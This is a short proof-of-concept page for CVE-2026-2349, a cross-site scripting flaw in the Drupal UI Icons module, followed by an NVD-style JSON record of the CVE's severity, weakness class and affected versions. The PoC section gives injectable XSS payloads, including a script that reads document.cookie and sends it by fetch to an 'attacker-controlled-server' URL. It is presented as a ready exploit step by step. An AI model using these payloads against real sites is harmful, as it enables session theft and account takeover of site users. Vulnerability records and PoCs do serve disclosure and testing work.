CVE-2026-2349

<!-- Proof of Concept for CVE-2026-2349 --> <!-- Target: Drupal UI Icons Module --> <!-- Step 1: Identify the vulnerable parameter (e.g., icon pack or label) --> <!-- Step 2: Inject a malicious payload --> <!-- Example Payload to be injected in the vulnerable field --> "><script>alert('CVE-2026-2349 XSS');</script> <!-- Or using an event handler --> <img src=x onerror=alert(1)> <!-- JavaScript code that would run if the vulnerability is exploited --> <script> console.log("XSS Triggered"); // Example: Stealing session cookies var cookies = document.cookie; var attackerUrl = "http://attacker-controlled-server/log?c=" + encodeURIComponent(cookies); fetch(attackerUrl); </script>

{"cve": {"id": "CVE-2026-2349", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:21.660", "lastModified": "2026-03-31T19:20:28.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal UI Icons allows Cross-Site Scripting (XSS).This issue affects UI Icons: from 0.0.0 before 1.0.1, from 1.1.0 before 1.1.1."}, {"lang": "es", "value": "La vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Drupal UI Icons permite cross-site scripting (XSS). Este problema afecta a UI Icons: desde 0.0.0 anterior a 1.0.1, desde 1.1.0 anterior a 1.1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:beyris:ui_icons:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "1.0.1", "matchCriteriaId": "98735D06-2908-439E-8BD9-8BBDAE2B8F12"}, {"vulnerable": true, "criteria": "cpe:2.3:a:beyris:ui_icons:1.1.0:*:*:*:*:drupal:*:*", "matchCriteriaId": "57539085-2E34-406E-9A78-E3D57E7DDE5B"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-010", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}